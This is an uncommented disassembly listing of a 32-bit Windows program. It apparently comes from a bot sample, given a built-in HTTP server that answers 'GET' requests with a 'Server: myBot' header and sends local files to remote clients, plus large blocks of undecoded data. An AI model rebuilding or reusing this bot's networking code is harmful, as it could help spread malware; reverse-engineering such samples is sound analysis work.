		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA7815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB9FCh, 74FFF883h, 0FF565696h, 4CB72035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFB6C2h, 0F0685059h, 8D004346h, 0FFF94085h
		dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C657E8h, 8D505900h,	0FFF94085h, 75FF50FFh, 3415FF08h
		dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E72805FFh, 38E9004Ch
		dd 57FFFFFFh, 0BA7C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
		dd 6A59FFh, 0C56E890h
		db 30h,	2
word_40F3AA	dw 8B55h		; DATA XREF: sub_40BD91+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 1FE8026Ah
		dd 90716A48h, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h
		dd 20A16671h, 83004CB7h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4CB9E4h, 0C6458966h,	6AC4458Dh, 0E8575010h, 716A4A6Ah
		dd 7DC08590h, 0E9C38B07h, 548h,	0E8570A6Ah, 716A696Ah
		dd 0D49D8990h, 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh
		dd 416AFC7Dh, 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh
		dd 0C4858DF6h, 56FFFFFBh, 8B505656h, 5040FC45h,	23DAE890h
		dd 0F883716Ah, 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h
		dd 6AF633C5h, 60858D64h, 56FFFFFDh, 0CA96E850h,	646A0000h
		dd 0FF50858Dh, 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh
		dd 5750FFFFh, 16E57E8h,	0FC08500h, 4A284h, 0F87D3B00h
		dd 458D7A75h, 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 0E8F875FFh
		dd 716A916Dh, 0FFF88390h, 479840Fh, 0C9330000h,	0FDD4B539h
		dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
		dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
		dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
		dd 0FC458903h, 68156A56h, 4349B4h, 0E9D3FF50h, 423h, 60858D56h
		dd 6AFFFFFDh, 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h
		dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh,	410A7438h
		dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
		dd 4508BFFh, 8B108941h,	0FFFDD495h, 4C083FFh, 72CA3B4Ah
		dd 0D48DFFECh, 57FFFFFDh, 6A248CE8h, 0BCE99071h, 8D000003h
		dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
		dd 4349ACh, 0D6DDE850h,	858D0000h, 0FFFFFF50h, 4349A468h
		dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h,	498C6816h
		dd 82E90043h, 8D000000h, 0FFFF5085h, 498468FFh,	0E8500043h
		dd 0D414h, 59C08559h, 6A560A75h, 496C6814h, 61EB0043h
		dd 0FF50858Dh, 6468FFFFh, 50004349h, 0D3F3E8h, 0C0855900h
		dd 560A7559h, 54680D6Ah, 0EB004349h, 50858D40h,	68FFFFFFh
		dd 43494Ch, 0D3D2E850h,	85590000h, 0A7559C0h, 68106A56h
		dd 434938h, 858D1FEBh, 0FFFFFF50h, 43493468h, 0B1E85000h
		dd 590000D3h, 7559C085h, 1E6A560Eh, 43491468h, 0D9E95700h
		dd 0BF000002h, 43490Ch,	0FF50858Dh, 5057FFFFh, 0D38BE8h
		dd 0C0855900h, 8D247559h, 0FFFCC885h, 490868FFh, 0E8500043h
		dd 0D374h, 59C08559h, 6A560D75h, 48F46813h, 9AE90043h
		dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h
		dd 858D2475h, 0FFFFFCC8h, 4348F068h, 3DE85000h,	590000D3h
		dd 7559C085h, 136A560Dh, 4348DC68h, 263E900h, 858D0000h
		dd 0FFFFFF50h, 4348D468h, 19E85000h, 590000D3h,	7559C085h
		dd 0BE0A6A34h, 4348A8h,	0D8BD8D59h, 0F3FFFFFEh,	858D50A5h
		dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h
		dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh
		dd 4348A0h, 0D2CEE850h,	85590000h, 2A7559C0h, 88BE056Ah
		dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
		dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh
		dd 0FFFFFF50h, 43488068h, 8DE85000h, 590000D2h,	0F59C085h
		dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
		dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h
		dd 485868FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh
		dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h
		dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h
		dd 0FFFF0485h, 0F475FFFFh, 48506857h, 0E8500043h, 0CA26h
		dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh,	45891CC4h
		dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h
		dd 43484468h, 0F3E85000h, 830000C9h, 6A5618C4h,	4824681Dh
		dd 6E90043h, 8D000001h,	0FFFF5085h, 481C68FFh, 0E8500043h
		dd 0D1BCh, 59C08559h, 0CC850Fh,	6A560000h, 47F06828h, 75FF0043h
		dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h
		dd 9E850Fh, 0B5390000h,	0FFFFFBBCh, 8D562375h, 0FFF72085h
		dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h
		dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h,	93850F01h
		dd 56000000h, 0D868176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh
		dd 0F720858Dh, 0A068FFFFh, 50004347h, 0C949E8h,	0CC48300h
		dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h
		dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h
		dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE4F005h
		dd 2EEB5900h, 68206A56h, 43477Ch, 858D1FEBh, 0FFFFFF50h
		dd 42CD2868h, 0D5E85000h, 590000D0h, 7559C085h,	1B6A560Dh
		dd 43476068h, 875FF00h,	646AD3FFh, 0FD60858Dh, 5056FFFFh
		dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh
		dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		call	near ptr 71AB41DAh
		nop
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE72C, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		call	near ptr 71AB1746h
		nop
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE72C
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE72C
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: ___:0040FA1Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h


loc_40FA7F:				; CODE XREF: ___:0040FAB4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE72C
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 26A0475h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi


loc_40FAB7:				; CODE XREF: ___:0040FA77j
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE72C
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_40FAD3:				; CODE XREF: ___:0040FA71j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB9E4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBA64
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E92C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA10
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CBA0C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBA80
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB9CC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB8D0
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]


loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B


loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB9FC
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBA7C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]


loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6


loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7


loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDC8 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------


loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4349F4 ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA


loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]


loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]


loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15


loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]


loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA80
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBA7C


loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------


loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB978
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349CC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h


loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA7C
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 2710000h
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 2790000h
		nop
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------


loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h


loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax


loc_41004C:				; DATA XREF: ___:004385B0o
					; ___:004385C4o
		push	[ebp+var_44C]
		call	dword_4CBA34
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h


loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBA7C
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2710000h
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2


loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------


loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------


loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al


loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al


loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E


loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AD0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A088 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26B0453h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------


loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi


